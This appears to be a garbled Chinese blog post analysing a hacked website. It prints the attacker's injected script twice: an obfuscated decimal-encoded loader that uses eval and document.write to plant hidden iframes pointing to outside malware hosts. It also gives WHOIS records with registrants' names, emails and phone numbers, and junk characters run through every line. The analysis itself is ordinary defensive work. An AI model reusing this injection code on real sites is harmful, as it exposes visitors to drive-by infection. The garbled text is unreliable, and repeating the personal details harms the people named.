首发在我的博客里面，
dg]: JU g>O
O '}lF http://www.areway.cn/?p=175 [8Zvs=1 f"G?#dW/1 aC2\C=ru_ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
N -N q* GE[J` ?E] <script>t=’60,105,102,114,97,109,101,
#!X4\+) 32,115,114,99,61,104,116,116,112,58,47,47,
}EZd=_kAq~ 102,114,101,101,46,117,45,117,117,117,46,99,
9 nPc>O $ 110,47,101,114,114,111,114,46,104,116,109,
^.@BD4/RPt 32,119,105,100,116,104,61,49,48,48,32,104,
RK`C31Ws 101,105,103,104,116,61,48,62,60,47,105,102,
Xm2p<Xu8h 114,97,109,101,62′;
`by\@xQ) t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
5b2 _{6t tk
<R|i
<script>t=’60,105,102,114,97,109,101,32,115,
e O:wx.PW 114,99,61,104,116,116,112,58,47,47,102,114,
IZkQmA= 101,101,46,117,45,117,117,117,46,99,110,47,
kW@,P.88 101,114,114,111,114,46,104,116,109,32,119,
\L: ;~L/ 105,100,116,104,61,49,48,48,32,104,101,105,
-q.tU*xf' 103,104,116,61,48,62,60,47,105,102,114,97,
)!&7X L[ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
m:7$"oq| document.write(t);</script>
AG$S;)Yl9c IA XoEBlMs <html xmlns=”
80M"`6 http://www.w3.org/1999/xhtml 6 U`y f&D “>
@dzO{ ) <head>
AI &Bv <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
T~rPpi& <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
}t[?g)"M#- <title>首页 - 爱生活家庭网
Y &Sk/8 Z'vGX,: 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Je#v l4<L 转换字符串后的大概内容是（谁点击后果自付）：
X^U)j
N2 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
j[fVF3v D|}%(N@sl 查询玉米u-uuu.cn的详细信息：
Ol~j q;75 Domain Name: u-uuu.cn
jCMr[ G= ROID: 20070901s10001s64972306-cn
Q~A25Jf . Domain Status: ok
2=TQU33# Registrant Organization: 王雷
Uva
b*9vX Registrant Name: 王雷
;U=RV& Administrative Email:
czlovexs@126.com v/E_A3Ay& Sponsoring Registrar: 北京万网志成科技有限公司
; 9r `P_r Name Server:ns.yovole.com
2 %'iTXF Name Server:ns1.yovole.com
Xk_xTzJ Registration Date: 2007-09-01 17:54
%!G] H Expiration Date: 2008-09-01 17:54
XJ|CC.]1u 最后PING了一下地址 都没有什么….
jQp7TdvLE$ =~i~SG/f 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
_^<HlfOK <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
pk*cc h# <script language=”javascript” src=”
R)3P"sGuN http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script rVx%"_'*- >
#mNM5(o 这个玉米应该有可能是木马作者的：
i%8 I (F foafau.info的详细信息：
w>:~Ev] Access to INFO WHOIS information is provided to assist persons in
]e'Ol$3U9= determining the contents of a domain name registration record in the
"?Eh_Dw Afilias registry database. The data in this record is provided by
s\6kXR Afilias Limited for informational purposes only, and Afilias does not
.&AS-">Z guarantee its accuracy. This service is intended only for query-based
~L G). access. You agree that you will use this data only for lawful purposes
8 ]N and that, under no circumstances will you use this data to: (a) allow,
q89#Ftkt enable, or otherwise support the transmission by e-mail, telephone, or
ztNm,1pnQ facsimile of mass unsolicited, commercial advertising or solicitations
`43`*= to entities other than the data recipient’s own existing customers; or
8Q&hhmOnz (b) enable high volume, automated, electronic processes that send
wr/Z)e =^3 queries or data to the systems of Registry Operator, a Registrar, or
G H
N Afilias except as reasonably necessary to register domain names or
meHAa` modify existing registrations. All rights reserved. Afilias reserves
] E1aIt the right to modify these terms at any time. By submitting this query,
Qo !/]\ you agree to abide by this policy.
ckXJ9 > Domain ID:D22418703-LRMS
d3fF|Wp1 Domain Name:FOAFAU.INFO
S(^*DV Created On:20-Nov-2007 16:05:42 UTC
]OE{qXr{ Last Updated On:20-Nov-2007 16:05:44 UTC
0jsU^m<g Expiration Date:20-Nov-2008 16:05:42 UTC
_y q"F#,* Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
x: `]uOp Status:CLIENT DELETE PROHIBITED
sglYT!O Status:CLIENT RENEW PROHIBITED
5TqT`XTzm Status:CLIENT TRANSFER PROHIBITED
xr uQ=Q Status:CLIENT UPDATE PROHIBITED
)p&FDK#ob= Status:TRANSFER PROHIBITED
;O*y$|+PA Registrant ID:GODA-040110615
-0 [^w Registrant Name:liu hong
]>NP?S
)R Registrant Organization:
\dAh^B K1( Registrant Street1:beijing
2,c{Z$\kn Registrant Street2:
#<X+)B6t Registrant Street3:
U5;
D'G Registrant City:beijing
OTA @4~{C Registrant State/Province:
2jTP
(b2b Registrant Postal Code:100000
] VifDFL} Registrant Country:CN
}|rnyYA Registrant Phone:+86.860108888777
hKq#i8py Registrant Phone Ext.:
NGD?.^ (G Registrant FAX:
M^\#(0^2@ Registrant FAX Ext.:
Vd 2bG4 *= Registrant Email:bbbshiji@163.com
f Z2>%IxG} Admin ID:GODA-240110615
P;D)5yP092 Admin Name:liu hong
X'4g\) * Admin Organization:
/ c1=`OJ Admin Street1:beijing
Fi+v:L| Admin Street2:
bq/*99`` Admin Street3:
=@U~ sl [ Admin City:beijing
#/NZ0IbHk Admin State/Province:
HhN;&67~Z Admin Postal Code:100000
Y_3 {\g|x Admin Country:CN
e&G!5kz! Admin Phone:+86.860108888777
T 6[];|%W Admin Phone Ext.:
P N ,pEk| Admin FAX:
yUF<qB Admin FAX Ext.:
-s`/5k D Admin Email:bbbshiji@163.com
-/ :N&6eRb Billing ID:GODA-340110615
S}Wj+H;
Billing Name:liu hong
qJ=4HlLno Billing Organization:
:- B,Q3d Billing Street1:beijing
zY\pZG Billing Street2:
1ID0 'j$ Billing Street3:
7mipj] Billing City:beijing
]sBSLEie
' Billing State/Province:
c:0nOP Billing Postal Code:100000
) -+u8# Billing Country:CN
{_0m0
8 Billing Phone:+86.860108888777
H#IJ&w| Billing Phone Ext.:
`+_UG^aeW Billing FAX:
-lr)z=}) Billing FAX Ext.:
eMk?#&a) Billing Email:bbbshiji@163.com
D9
~jMcX Tech ID:GODA-140110615
rPVz !(;k Tech Name:liu hong
p\]Mf#B Tech Organization:
*Nd SL Tech Street1:beijing
aZt5/|B Tech Street2:
8 RJXY:% Tech Street3:
1
"'t5?XW Tech City:beijing
t|C p<k]B Tech State/Province:
uGIA4CUm Tech Postal Code:100000
1!,xB]v1Ri Tech Country:CN
3.M<A Te^ Tech Phone:+86.860108888777
:<ye:P1s Tech Phone Ext.:
%|L+~ = Tech FAX:
B#RwW, Tech FAX Ext.:
j(4 BMk Tech Email:bbbshiji@163.com
"
N)dle, Name Server:NS27.DOMAINCONTROL.COM
*oAv:8"iY Name Server:NS28.DOMAINCONTROL.COM
P;o6rQf Name Server:
%~`8F\Hiu Name Server:
D_oGhQYY4 Name Server:
t sdkpt Name Server:
2GNtO!B. Name Server:
0d!1;jy,T Name Server:
iiS^xqSNCt Name Server:
{ndL] c'v Name Server:
|7 Fe~TC Name Server:
J;|r00M Name Server:
7`;55Se Name Server:
~kUdHne ( XXs N)2 接着下载每个文件里面的代码：
*-~B{2b< 一步一步看..
aIV(&7KT4 
07WZ w1(; 
H)&6I33` 
%a%x`S3 
'\qd{mM\r 
lhsd 39NM 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
